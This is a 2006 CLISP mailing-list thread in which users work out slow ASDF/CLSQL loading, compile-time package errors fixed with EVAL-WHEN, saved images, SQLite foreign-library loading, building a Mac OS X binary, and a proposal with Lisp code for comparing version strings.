clisp-asdf -c my-program
clisp-asdf -i my-program

note that "-c" will compile my-program.lisp into my-program.fas
and "-i" will now load my-program.fas instead of my-program.lisp

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Thank you for the explanation. But as detailed below, it still does not solve my
problems.  I am sure it is a small thing, but everything being new I feel
like a fish out of the water (stuck).

Sam Steingold <sds@gnu.org> writes:

>> * Wim Oudshoorn <jbhqfubb@kf4nyy.ay> [2006-12-05 23:08:36 +0100]:
>>
>> My little program starts with:
>>
>>    (require 'asdf)
>>
>>    (asdf:operate 'asdf:load-op 'clsql-sqlite3)
>>    (asdf:operate 'asdf:load-op 'clsql)
>>
>>    
>> Everything works, but:
>>
>> 1 - If I run it from the command line as:
>>
>>     clisp -i my-program.lisp
>>
>>     it will take 9.6 seconds before clsql is loaded.
>
> try
> clisp -c my-program
> clisp -i my-program

I tried that first, but when I do the clisp -c I get the error:

;; Loading file /Users/woudshoo/.clisprc ...
;;  Loading file /Users/woudshoo/lisp/asdf.lisp ...
;;  Loaded file /Users/woudshoo/lisp/asdf.lisp
;; Loaded file /Users/woudshoo/.clisprc
;; Compiling file /Users/woudshoo/lisp/monotone-experiment.lisp ...
*** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/Users/woudshoo/lisp/monotone-experiment.lisp" @6>: there is no package with
      name "CLSQL"

0 errors, 0 warnings

And for this I don't know where to start. 
It seems that my .clisprc is loaded and this sets the asdf repository path 
(or whatever that is called.)
When I do clisp -i it works, interactively it works and with -c it does not work.


>> How do I get the load performance which I have with compilation
>> and not the annoying errors.
>
> clisp -x '(require (quote asdf)) (saveinitmem "clisp-asdf" :executable t)'

Hm, this works.  But it is not the loading of the asdf.lisp file that takes time.
It is the loading of clsql package that takes time.

> clisp-asdf -c my-program

Same error as above

Oh just in case it is relevant:

nelly:~/lisp woudshoo$ clisp --version
GNU CLISP 2.41 (2006-10-13) (built on nelly.oudshoorn.nl [10.0.0.11])
Software: GNU C 4.0.0 20041026 (Apple Computer, Inc. build 4061) 
gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -L/usr/local/lib  -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses  -liconv -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.4
libiconv 1.9
libreadline 5.1
Features: 
(READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS
 LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER UNIX MACOS)
C Modules: (clisp i18n syscalls regexp readline)
Installation directory: /usr/local/lib/clisp/
User language: ENGLISH
Machine: POWER MACINTOSH (POWER MACINTOSH) rtr-mpls0-rij-nl.agilisys.net [10.48.12.3]



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Wim Oudshoorn wrote:
> Sam Steingold <sds@gnu.org> writes:
>>> * Wim Oudshoorn <jbhqfubb@kf4nyy.ay> [2006-12-05 23:08:36 +0100]:
>>>
>>> My little program starts with:
>>>
>>>    (require 'asdf)
>>>
>>>    (asdf:operate 'asdf:load-op 'clsql-sqlite3)
>>>    (asdf:operate 'asdf:load-op 'clsql)

please do
(asdf:operate 'asdf:compile-op 'clsql-sqlite3)
(asdf:operate 'asdf:compile-op 'clsql)
once.

it might be that you are loading uncompiled code.

>> try
>> clisp -c my-program
>> clisp -i my-program
> 
> I tried that first, but when I do the clisp -c I get the error:
> 
> ;; Loading file /Users/woudshoo/.clisprc ...
> ;;  Loading file /Users/woudshoo/lisp/asdf.lisp ...
> ;;  Loaded file /Users/woudshoo/lisp/asdf.lisp

this is no good.
please compile asdf.lisp !
clisp -q -c ~/lisp/asdf.lisp

> ;; Loaded file /Users/woudshoo/.clisprc
> ;; Compiling file /Users/woudshoo/lisp/monotone-experiment.lisp ...
> *** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/Users/woudshoo/lisp/monotone-experiment.lisp" @6>: there is no package with
>       name "CLSQL"
> 
> 0 errors, 0 warnings

you need to load CLSQL before compiling monotone-experiment.lisp

> It is the loading of clsql package that takes time.

it should be better once you compile clsql.

> Oh just in case it is relevant:

always!

> nelly:~/lisp woudshoo$ clisp --version
> GNU CLISP 2.41 (2006-10-13) (built on nelly.oudshoorn.nl [10.0.0.11])
> Software: GNU C 4.0.0 20041026 (Apple Computer, Inc. build 4061) 

Could you please make the binary package available to me?
I want to publish it in the CLISP SF files section.
You will need to add "rawsock" and "libsvm" to "MODULES=" line in your 
Makefile, do "make distrib" and upload the file 
clisp-2.41-powerpc-apple...tar.gz to upload.sf.net:/incoming
you will be credited in 
http://sourceforge.net/project/shownotes.php?release_id=455105&group_id=1355
Thanks.

Sam.



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I compiled clisp 2.41 and uploaded it to upload.sf.net
File name and checksum:

MD5 (clisp-2.41-powerpc-apple-darwin8.7.0-8.7.0.tar.gz) = dee9478067bd7ee3d1cc18c3d31a0119

But compilation did not go completely smoothly.
I configured with

   LDFLAGS=-L/usr/local/lib CPPFLAGS=-I/usr/local/include ./configure --with-module=rawsock --with-module=libsvm

and followed the adviced procedure for creating the makefile, config.lisp etc.
For every command I added the LDFLAGS... CPPFLAGS... to make sure that the environment
was consistent.

However when doing:

   LDFLAGS=-L/usr/local/lib CPPFLAGS=-I/usr/local/include make

everything went fine upto "i18n" than it bailed out with the following error:

==========
configure: loading cache ../config.cache
configure: error: `CPPFLAGS' has changed since the previous run:
configure:   former value:  -I/usr/local/include
configure:   current value: -I/usr/local/include 
configure: error: changes in the environment can compromise the build
configure: error: run `make distclean' and/or `rm ../config.cache' and start over
make: *** [i18n] Error 1
==========
So I did:

   nelly:~/src/clisp-2.41/src woudshoo$ rm config.cache 
   nelly:~/src/clisp-2.41/src woudshoo$ LDFLAGS=-L/usr/local/lib CPPFLAGS=-I/usr/local/include make 

And i18n was happy.  
The following problem occured for libsvm.  This did not compile because the makefile had
the following fragment:

============
svm.so : svm.cpp svm.h
	$(CXX) $(CPPFLAGS) $(CXXFLAGS) -I$(INCLUDES) \
		-fPIC -shared -o svm.so svm.cpp -lm
============

and on MacOSX the compiler does not understand the option -shared so I 
replaced this with:

============
svm.so : svm.cpp svm.h
	$(CXX) $(CPPFLAGS) $(CXXFLAGS) -I$(INCLUDES) \
		-dynamiclib -o svm.so svm.cpp -lm
============

Finally everything compiles. 

    LDFLAGS=-L/usr/local/lib CPPFLAGS=-I/usr/local/include make check

works and indicates that all test pass.

However I am still worried,  when I run clisp --version I get:

=============
nelly:~/src/clisp-2.41/src woudshoo$ ./clisp --version
GNU CLISP 2.41 (2006-10-13) (built 3374425784) (memory 3374427671)
Software: GNU C 4.0.0 20041026 (Apple Computer, Inc. build 4061) 
gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -L/usr/local/lib  -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses  -liconv -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.4
libiconv 1.9
libreadline 5.1
Features: 
(READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS
 LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER UNIX MACOS)
C Modules: (clisp i18n syscalls regexp readline)
Installation directory: /Users/woudshoo/src/clisp-2.41/src/
User language: ENGLISH
Machine: POWER MACINTOSH (POWER MACINTOSH) nelly.oudshoorn.nl [10.0.0.13]
============

But I can't find any reference in the output to rawsock nor to libsvm.  
Is this correct?  Is there any way I can check that they are really included?

Wim Oudshoorn.



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Sam Steingold <sds@gnu.org> writes:

> Wim Oudshoorn wrote:
>> Sam Steingold <sds@gnu.org> writes:
>
> please do
> (asdf:operate 'asdf:compile-op 'clsql-sqlite3)
> (asdf:operate 'asdf:compile-op 'clsql)
> once.

Done.

>> I tried that first, but when I do the clisp -c I get the error:
>> 
>> ;; Loading file /Users/woudshoo/.clisprc ...
>> ;;  Loading file /Users/woudshoo/lisp/asdf.lisp ...
>> ;;  Loaded file /Users/woudshoo/lisp/asdf.lisp
>
> this is no good.
> please compile asdf.lisp !
> clisp -q -c ~/lisp/asdf.lisp

Done.

>
>> ;; Loaded file /Users/woudshoo/.clisprc
>> ;; Compiling file /Users/woudshoo/lisp/monotone-experiment.lisp ...
>> *** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/Users/woudshoo/lisp/monotone-experiment.lisp" @6>: there is no package with
>>       name "CLSQL"
>> 
>> 0 errors, 0 warnings
>
> you need to load CLSQL before compiling monotone-experiment.lisp

Hm, how do I do that?  

>> It is the loading of clsql package that takes time.
>
> it should be better once you compile clsql.

I still takes about 6 secs to load all the .fas files on my ccomputer.

> Could you please make the binary package available to me?

I have written another post about that.

Back to my problems.
There are some concepts I am apparantly not grasping.
And I can't seem to findd the right place in the documentation
to enlighten me.  So any pointers appreciated.

Question/Problem 1:

in the directory ~/lisp/ I have the files asdf.lisp, asdf.fas and asdf.lib
And if I do the following:

   nelly:~/lisp woudshoo$ clisp -q -norc
   [1]> (require 'asdf)

   *** - LOAD: A file with name ASDF does not exist
   The following restarts are available:
   ABORT          :R1      ABORT
   Break 1 [2]> 

I expected require to look for asdf.fas or asdf.lisp, but 
it seems not to find it.  So what does require exactly do?
in the CLHS it says that how require finds its files 
is implementation dependend so why does this not work.



Question/Problem 2:

I created a file test-load.lisp with the following content:

   (load "asdf")
   (setf asdf:*central-registry*
         '(*default-pathname-defaults*
	   #p"~/lisp-asdf/"))
   (asdf:operate 'asdf:load-op 'clsql)


Now if I load the file it works:

clisp -q -norc test-load.lisp
============================================
nelly:~/lisp woudshoo$ clisp -q -norc test-load.lisp 
; loading system definition from /Users/woudshoo/lisp-asdf/clsql.asd into #<PACKAGE ASDF0>
; loading system definition from /Users/woudshoo/lisp-asdf/cffi.asd into #<PACKAGE ASDF1>
; registering #<SYSTEM CFFI #x1A982445> as CFFI
0 errors, 0 warnings
; loading system definition from /Users/woudshoo/lisp-asdf/cffi-uffi-compat.asd into #<PACKAGE ASDF1>
; registering #<SYSTEM CFFI-UFFI-COMPAT #x1A9C2E55> as CFFI-UFFI-COMPAT
WARNING: The generic function #<STANDARD-GENERIC-FUNCTION CFFI:FOREIGN-TYPE-SIZE> is being modified, but has already been called.
0 errors, 0 warnings
; registering #<SYSTEM UFFI #x1A9A8079> as UFFI
; registering #<SYSTEM CLSQL #x1A9A98C5> as CLSQL
WARNING: The generic function #<STANDARD-GENERIC-FUNCTION PERFORM> is being modified, but has already been called.
WARNING: DEFUN/DEFMACRO: redefining macro LOOP-FINISH in /Users/woudshoo/lisp-asdf/clsql-3.7.8/sql/ansi-loop.fas, was defined in
         /Users/woudshoo/src/clisp-2.41/src/loop.fas
WARNING: DEFUN/DEFMACRO: redefining macro LOOP in /Users/woudshoo/lisp-asdf/clsql-3.7.8/sql/ansi-loop.fas, was defined in
         /Users/woudshoo/src/clisp-2.41/src/loop.fas
0 errors, 0 warnings
===========================================


But if I compile the file

clisp -q -norc -c test-load.lisp
===========================================
nelly:~/lisp woudshoo$ clisp -q -norc -c test-load.lisp 
;; Compiling file /Users/woudshoo/lisp/test-load.lisp ...
*** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/Users/woudshoo/lisp/test-load.lisp" @3>: there is no package with name "ASDF"

0 errors, 0 warnings
===========================================


So perhaps I am confused about what compilation is.  Let me see if I can explain.
I expect compilation to take the source file and compile it in some other form
lets say a .fas file, so that when I load that file I am in exactly the same 
situation as after loading the original .lisp file, except that everything will
work faster.   This is obviously not the case with my test-load.lisp.
So what does compile do?

A very confused,
Wim Oudshoorn.



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Wim Oudshoorn wrote:
> I compiled clisp 2.41 and uploaded it to upload.sf.net

thanks, it is now available for download

> ==========
> configure: loading cache ../config.cache
> configure: error: `CPPFLAGS' has changed since the previous run:
> configure:   former value:  -I/usr/local/include
> configure:   current value: -I/usr/local/include 
> configure: error: changes in the environment can compromise the build
> configure: error: run `make distclean' and/or `rm ../config.cache' and start over
> make: *** [i18n] Error 1
> ==========

fixed on 2006-10-21 in the CVS.

> The following problem occured for libsvm.  This did not compile because the makefile had
> the following fragment:
> 
> ============
> svm.so : svm.cpp svm.h
> 	$(CXX) $(CPPFLAGS) $(CXXFLAGS) -I$(INCLUDES) \
> 		-fPIC -shared -o svm.so svm.cpp -lm
> ============
> 
> and on MacOSX the compiler does not understand the option -shared so I 
> replaced this with:
> 
> ============
> svm.so : svm.cpp svm.h
> 	$(CXX) $(CPPFLAGS) $(CXXFLAGS) -I$(INCLUDES) \
> 		-dynamiclib -o svm.so svm.cpp -lm
> ============

yes, this needs fixing...

> However I am still worried,  when I run clisp --version I get:
> 
> =============
> nelly:~/src/clisp-2.41/src woudshoo$ ./clisp --version
> GNU CLISP 2.41 (2006-10-13) (built 3374425784) (memory 3374427671)
> Software: GNU C 4.0.0 20041026 (Apple Computer, Inc. build 4061) 
> gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -L/usr/local/lib  -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses  -liconv -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib
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> libsigsegv 2.4
> libiconv 1.9
> libreadline 5.1
> Features: 
> (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS
>  LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER UNIX MACOS)
> C Modules: (clisp i18n syscalls regexp readline)
> Installation directory: /Users/woudshoo/src/clisp-2.41/src/
> User language: ENGLISH
> Machine: POWER MACINTOSH (POWER MACINTOSH) nelly.oudshoorn.nl [10.0.0.13]
> ============
> 
> But I can't find any reference in the output to rawsock nor to libsvm.  
> Is this correct?  Is there any way I can check that they are really included?

http://clisp.cons.org/impnotes/faq.html#faq-modules

Thanks.
Sam.



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Sam Steingold <sds@gnu.org> writes:

> Wim Oudshoorn wrote:
>
>> But I can't find any reference in the output to rawsock nor to libsvm.  
>> Is this correct?  Is there any way I can check that they are really included?
>
> http://clisp.cons.org/impnotes/faq.html#faq-modules

It seems ok.  

clisp -K full --version 

reports LIBSVM and RAWSOCK

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> * Wim Oudshoorn <jbhqfubb@kf4nyy.ay> [2006-12-07 00:33:29 +0100]:
> Sam Steingold <sds@gnu.org> writes:
>> Wim Oudshoorn wrote:
>>> Sam Steingold <sds@gnu.org> writes:
>>
>>> ;; Loaded file /Users/woudshoo/.clisprc
>>> ;; Compiling file /Users/woudshoo/lisp/monotone-experiment.lisp ...
>>> *** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/Users/woudshoo/lisp/monotone-experiment.lisp" @6>: there is no package with
>>>       name "CLSQL"
>>> 
>>> 0 errors, 0 warnings
>>
>> you need to load CLSQL before compiling monotone-experiment.lisp
>
> Hm, how do I do that?  

e.g., (require 'clsql) or (asdf load "clsql").

> There are some concepts I am apparantly not grasping.
> And I can't seem to findd the right place in the documentation
> to enlighten me.  So any pointers appreciated.
>
> Question/Problem 1:
>
> in the directory ~/lisp/ I have the files asdf.lisp, asdf.fas and asdf.lib
> And if I do the following:
>
>    nelly:~/lisp woudshoo$ clisp -q -norc
>    [1]> (require 'asdf)
>
>    *** - LOAD: A file with name ASDF does not exist
>    The following restarts are available:
>    ABORT          :R1      ABORT
>    Break 1 [2]> 
>
> I expected require to look for asdf.fas or asdf.lisp, but 
> it seems not to find it.  So what does require exactly do?
> in the CLHS it says that how require finds its files 
> is implementation dependend so why does this not work.

http://clisp.cons.org/impnotes/system-dict.html#require
http://clisp.cons.org/impnotes/system-dict.html#loadfile
http://clisp.cons.org/impnotes/system-dict.html#load-paths

> Question/Problem 2:
>
> I created a file test-load.lisp with the following content:
>
>    (load "asdf")
>    (setf asdf:*central-registry*
>          '(*default-pathname-defaults*
> 	   #p"~/lisp-asdf/"))
>    (asdf:operate 'asdf:load-op 'clsql)
>
>
> Now if I load the file it works:
>
> clisp -q -norc test-load.lisp
> ============================================
> nelly:~/lisp woudshoo$ clisp -q -norc test-load.lisp 
> ; loading system definition from /Users/woudshoo/lisp-asdf/clsql.asd into #<PACKAGE ASDF0>
> ; loading system definition from /Users/woudshoo/lisp-asdf/cffi.asd into #<PACKAGE ASDF1>
> ; registering #<SYSTEM CFFI #x1A982445> as CFFI
> 0 errors, 0 warnings
> ; loading system definition from /Users/woudshoo/lisp-asdf/cffi-uffi-compat.asd into #<PACKAGE ASDF1>
> ; registering #<SYSTEM CFFI-UFFI-COMPAT #x1A9C2E55> as CFFI-UFFI-COMPAT
> WARNING: The generic function #<STANDARD-GENERIC-FUNCTION CFFI:FOREIGN-TYPE-SIZE> is being modified, but has already been called.
> 0 errors, 0 warnings
> ; registering #<SYSTEM UFFI #x1A9A8079> as UFFI
> ; registering #<SYSTEM CLSQL #x1A9A98C5> as CLSQL
> WARNING: The generic function #<STANDARD-GENERIC-FUNCTION PERFORM> is being modified, but has already been called.
> WARNING: DEFUN/DEFMACRO: redefining macro LOOP-FINISH in /Users/woudshoo/lisp-asdf/clsql-3.7.8/sql/ansi-loop.fas, was defined in
>          /Users/woudshoo/src/clisp-2.41/src/loop.fas
> WARNING: DEFUN/DEFMACRO: redefining macro LOOP in /Users/woudshoo/lisp-asdf/clsql-3.7.8/sql/ansi-loop.fas, was defined in
>          /Users/woudshoo/src/clisp-2.41/src/loop.fas
> 0 errors, 0 warnings
> ===========================================
>
>
> But if I compile the file
>
> clisp -q -norc -c test-load.lisp
> ===========================================
> nelly:~/lisp woudshoo$ clisp -q -norc -c test-load.lisp 
> ;; Compiling file /Users/woudshoo/lisp/test-load.lisp ...
> *** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/Users/woudshoo/lisp/test-load.lisp" @3>: there is no package with name "ASDF"
>
> 0 errors, 0 warnings
> ===========================================
>

you need something like
(eval-when (:compile :load-tople)
  (load "asdf")
  (asdf load "clsql"))

in general, I think it would be a good idea for you to create an image
that contains asdf and clsql and always use it.

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> * Wim Oudshoorn <jbhqfubb@kf4nyy.ay> [2006-12-05 23:08:36 +0100]:
>
>     clisp -i my-program.lisp -x '(saveinitmem "mtn-exp" :executable t :norc t) 
>
>     and run the program
>
>     ./mtn-exp
>
>     everything is loaded in 0.125 seconds.  BUT when
>     I in the resulting repl execute 
>
>       (clsql:connect ...)
>
>     I get:
>
>     ** - Continuable Error
>     FFI::FOREIGN-CALL-OUT: no dynamic object named "sqlite3_open" in library :DEFAULT
>     If you continue (by typing 'continue'): Skip foreign object creation
>     The following restarts are also available:
>     ABORT          :R1      ABORT
>     Break 1 [2]> 

how is clsql:connect defined?


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Wim Oudshorn wrote:

>I created a file test-load.lisp with the following content:
>   (load "asdf")
>   (setf asdf:*central-registry*
>         '(*default-pathname-defaults*
>	   #p"~/lisp-asdf/"))
>   (asdf:operate 'asdf:load-op 'clsql)
>So perhaps I am confused about what compilation is.

You need to rethink some assumptions & lear more about compilation in
CL. Loading this file produces lots of side-effects which would affect
the compilation environment: packages are created etc. You should read
chapter ?3.2.2 of CLHS or perhaps some other, easier text (sorry,
nothing comes to mind).

You will get no speed gain by compiling the above file. All it does is 2
function calls and one assignment.  What's important when loading is the
side effects of performing the calls (e.g. load plenty of other files).
What's important is that those other files are compiled. You can tell
whether clisp reports loading "asdf.fas" or (slow) "asdf.lisp" etc.
Similarly, don't compile .asd files. There would be little benefit.

You'd need EVAL-WHEN in order to create a file test-load that could
properly compile, so that the run-time and compilation environments
become similar.

(EVAL-WHEN (load compile eval) (load/require "asdf")) would be a start,
or perhaps the more verbose and not equivalent
(EVAL-WHEN (:compile-toplevel etc.) #)

With ASDF, you won't need (asdf:oos 'asdf:compile-op "mysystem"). IIRC,
ASDF will compile before loading if old, so (asdf:oos 'asdf:load-op
"mysystem") is enough.

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	Jorg Hohle


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Wim Oudshoorn wrote:
>   (asdf:operate 'asdf:load-op 'clsql-sqlite3)
>     FFI::FOREIGN-CALL-OUT: no dynamic object named "sqlite3_open" in
library :DEFAULT

I haven't looked at current CLSQL. In version 3.5.4, I see that
sqlite-api supplies the :module "sqlite" argument, which is good. You
need to provide a mapping from that name to the shared object file
(assuming UNIX).

No, wait, you're using the CFFI backend, which does not know about
modules and libraries AFAIK.  CFFI only looks up names in the current
process namespace AFAIK.

Maybe a simple (ffi::foreign-library "/usr/lib/sqlite.dylib") does the
trick for your current session??
It should open the library and make all its names available (at least in
Linux).
You need to call that before loading clsql. Then try to figure out how
the other DB backends do that for CFFI on MacOS with CLISP.

Regards,
	Jorg Hohle


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Hoehle, Joerg-Cyril writes:
> Hi,
>=20
> I was just faced with the problem of detecting when in clisp
> ext:socket-server provides a working :interface keyword argument.
>=20
> Scanning ext:arglist is not the answer, as the first versions (2.37 and=
 2.38)
> suffered from the "create socket server twice" bug.
> (socket-server port :interface "127.0.0.1") is unusable there.
>=20
> (string>=3D (lisp-implementation-version) "2.39") does not appeal to me=
 as a good
> test, because there might be clisp "2.101" in a distant future.
>=20
> I wished (lisp-implementation-version) had been using the following for=
mat:
> "2006-12-07 (2.45) ..."
> Then we could have applied STRING>=3D on the string until year 9999, an=
d even make
> people working with CVS happy (e.g. the 2.38 release might be buggy, bu=
t 2006-02-22
> fixed the bug in CVS, even though it is still a "2.38").

It might be better to increment the version: 2.38.1, 2.38.2, etc.


> Even that does not consider people using a specific (old) version and a=
pplying
> only selected patches, e.g. 2.27 with socket-server :interface added.
>=20
> Of course, changing the format now would break all ad hoc code in the w=
orld
> that does some detection work.
>=20
> Also, the documentation would need to specify which are the formats tha=
t
> LISP-IMPLEMENTATION-VERSION can take so users become able to write
> reliable detection code -- when needed.
>=20
> Suggestions? Overkill? Who cares?


Here is what I've used so far:

C/USER[579]> (clisp-version "2.41 (2006-10-13)")
(2 41)
C/USER[580]> (clisp-version "2.41.3 (2006-10-13)")
(2 41 3)

The semantics of versions are rather well understood.  There's no risk
of confusion between 2.1, 2.2 and 2.10, but perhaps from the laziest
programmers; everybody knows that 2.10 =3D (2 10) > (2 2) =3D 2.2 > (2 1)=
 =3D 2.1
and  the algorithm to compare versions, with as many dot as they may cont=
ain.

By the way, while the subject of versions is discussed, there's a
little difficulty with the build process of clisp: users cannot
increment a sub-version easily when compiling patched clisp, so bug
reports cannot show easily that the current instance is a patched
version.

If the clisp versions was structured as:

       major . minor [ . revision [ . user-patch ] ]

with user-patch being a string such as pjb-1, pjb-2, easily settable
at compilation time (perhaps with a list of patch names that could be
reported at the end of the lisp-implementation-version string), and
revision being increased by clisp implementers when patching the
release (=3D major.minor) in CVS, we could track and identify more
easily the versions of clisp.

I could say I'm currently using 2.41.0.pjb-1 (regexp utf-8 patch).



;; ----------------------------------------------------------------------

(defun clisp-version (&optional (version-string (LISP-IMPLEMENTATION-VERS=
ION)))
  (loop
     :with r =3D '()
     :with start =3D 0
     :do (multiple-value-bind (n p)
             (parse-integer version-string :start start :junk-allowed t)
           (push n r)
           (if (or (<=3D (length version-string) p)
                   (char=3D #\space (aref version-string p)))
               (return-from clisp-version (nreverse r))
               (setf start (1+ p))))))

(defun version=3D (a b)
  (equal (if (stringp a) (clisp-version a) a)
         (if (stringp b) (clisp-version b) b)))

(defun version< (a b)
  (setf a (if (stringp a) (clisp-version a) a)
        b (if (stringp b) (clisp-version b) b))
  (cond
    ((null a)            (not (null b)))
    ((null b)            nil)
    ((< (car a) (car b)) t)
    ((=3D (car a) (car b)) (version< (cdr a) (cdr b)))
    (t                   nil)))

(defun version<=3D (a b)
  (setf a (if (stringp a) (clisp-version a) a)
        b (if (stringp b) (clisp-version b) b))
  (or (version=3D a b) (version< a b)))

(defun rt-version=3D  (a b) (if (version=3D  a b) '(:and) '(:or)))
(defun rt-version<  (a b) (if (version<  a b) '(:and) '(:or)))
(defun rt-version<=3D (a b) (if (version<=3D a b) '(:and) '(:or)))

(export '(clisp-version
          version=3D    version<    version<=3D
          rt-version=3D rt-version< rt-version<=3D))

;; ----------------------------------------------------------------------

#+#.(cl-user:rt-version<=3D "2.38" (cl-user:clisp-version)) (progn ...)


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Hoehle, Joerg-Cyril writes:
> Wim Oudshoorn wrote:
> >   (asdf:operate 'asdf:load-op 'clsql-sqlite3)
> >     FFI::FOREIGN-CALL-OUT: no dynamic object named "sqlite3_open" in
> library :DEFAULT
>=20
> I haven't looked at current CLSQL. In version 3.5.4, I see that
> sqlite-api supplies the :module "sqlite" argument, which is good. You
> need to provide a mapping from that name to the shared object file
> (assuming UNIX).
>=20
> No, wait, you're using the CFFI backend, which does not know about
> modules and libraries AFAIK.  CFFI only looks up names in the current
> process namespace AFAIK.
>=20
> Maybe a simple (ffi::foreign-library "/usr/lib/sqlite.dylib") does the
> trick for your current session??
> It should open the library and make all its names available (at least i=
n
> Linux).
> You need to call that before loading clsql. Then try to figure out how
> the other DB backends do that for CFFI on MacOS with CLISP.

Well there are two ways to indicate to CFFI to load libraries.

(cffi:define-foreign-library <libname>
    (:unix (:or "<libname>.so.<version>" "<libname>.so"))
    (t (:default "<libname>")))
(cffi:use-foreign-library <libname>)

http://common-lisp.net/project/cffi/manual/html_node/Tutorial_002dLoading=
.html#Tutorial_002dLoading

and also directly cffi:load-foreigh-library (which is used by
cffi:use-foreign-library):

http://common-lisp.net/project/cffi/manual/html_node/_002aforeign_002dlib=
rary_002ddirectories_002a.html#_002aforeign_002dlibrary_002ddirectories_0=
02a

(With some variant on MacOSX for frameworks).

The question is whether the libraries are re-open automatically when
we reload a saved image?

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Pascal Bourguignon asks:
>The question is whether the libraries are re-open automatically when
>we reload a saved image?
CLISP has been doing that for ages.

It's a convenience for users. I'm not really happy with it because it
also means that you can be thrown into the debugger at startup of clisp
when that library becomes unavailable, even if you don't care a pence
about it for your current work!

I'm not sure we ever switched to late-opening-when-called. That has
other quirks:
Suppose
(validp #<foreign-function x>) -> NIL
which means that foreign thing is dead. Now invoke that dead function,
(funcall #<foreign-function x>): suddenly library is reopened, and the
function is alive again?!?
(validp #<foreign-function x>) -> T

Do you find that understandable and conceptually undisputable?
Zombies!

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Everyone thanks for pointing me in the right direction.

"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> You need to rethink some assumptions & lear more about compilation in
> CL. Loading this file produces lots of side-effects which would affect
> the compilation environment: packages are created etc. You should read
> chapter ?3.2.2 of CLHS or perhaps some other, easier text (sorry,
> nothing comes to mind).

Thanks for the pointer.  It is terse reading indeed, and it assumes
some familarity with common lisp :-)  

Hm, but on the topic of manuals and documentation, does anyone know
about an introductionary common lisp / clisp text that explains:

- how to set up a packages system (like asdf)
- how to use packages
- how to make packages 
- explain namespaces (probably called something different in lisp)
- how to do the compilation / make clisp images 

Because I noticed everytime I pick up a new language, it is quite
easy to find documentation on:

- how to install the compiler/interpreter
- how to write hello world 
- documentation on the syntax and the default libraries

But I always struggle with packages, namespaces, linking making libraries
etc etc.  

Well enough complaining ;-)

> You'd need EVAL-WHEN in order to create a file test-load that could
> properly compile, so that the run-time and compilation environments
> become similar.
>
> (EVAL-WHEN (load compile eval) (load/require "asdf")) would be a start,
> or perhaps the more verbose and not equivalent
> (EVAL-WHEN (:compile-toplevel etc.) #)

This was the trick.  I would have figured it out if I didn't keep misreading
the error message :-(  

the error I got was 

*** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/Users/woudshoo/lisp/monotone-experiment.lisp" @12>: there is no package with
      name "CLSQL"

And somehow I thought asdf was looking for the package and couldn't find it.
But actually the error was a few lines below indicating that the package
was not defined yet when the first reference was compiled.

Ah well, it always takes me some time to find my way in a complete new
environment.

Wim Oudshoorn.

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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> Pascal Bourguignon asks:
>>The question is whether the libraries are re-open automatically when
>>we reload a saved image?
> CLISP has been doing that for ages.

As I mentioned, after ignoring the error
FFI::FOREIGN-CALL-OUT: no dynamic object named "sqlite3_open" in
library :DEFAULT
everything worked as expected.  What I don't know if
this error is triggered by code in clsql and a fix in clsql is
in order or that something else is going on.

However, I will follow the advice as posted here and
try to make my own image without having preloaded the dynamic library.
And I still a little overwhelmed with all the new concepts so
I will let it rest until it really gets in my way.

Thanks for all the help.

Wim Oudshoorn.



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Wim Oudshoorn writes:
> P.S.: What is the most appropriate mailing list to ask questions
> about common lisp that are not related to clisp itself?

That would be news:comp.lang.lisp usenet, not a mail-list...
I don't think there's any usenet<->email gateway active on this newsgroup=
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Sam Steingold <sds@gnu.org> writes:

> Wim Oudshoorn wrote:
>> "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>> 
>>> Pascal Bourguignon asks:
>>>> The question is whether the libraries are re-open automatically when
>>>> we reload a saved image?
>>> CLISP has been doing that for ages.
>> As I mentioned, after ignoring the error
>> FFI::FOREIGN-CALL-OUT: no dynamic object named "sqlite3_open" in
>> library :DEFAULT
